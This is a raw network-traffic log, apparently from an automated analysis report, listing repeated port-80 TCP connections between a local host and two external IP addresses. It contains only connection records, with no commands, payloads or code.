Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49164
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 54.241.153.192:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49168
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49170
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49170
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49170
Source: global traffic TCP traffic: 192.168.2.22:49170 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 198.46.177.156:80
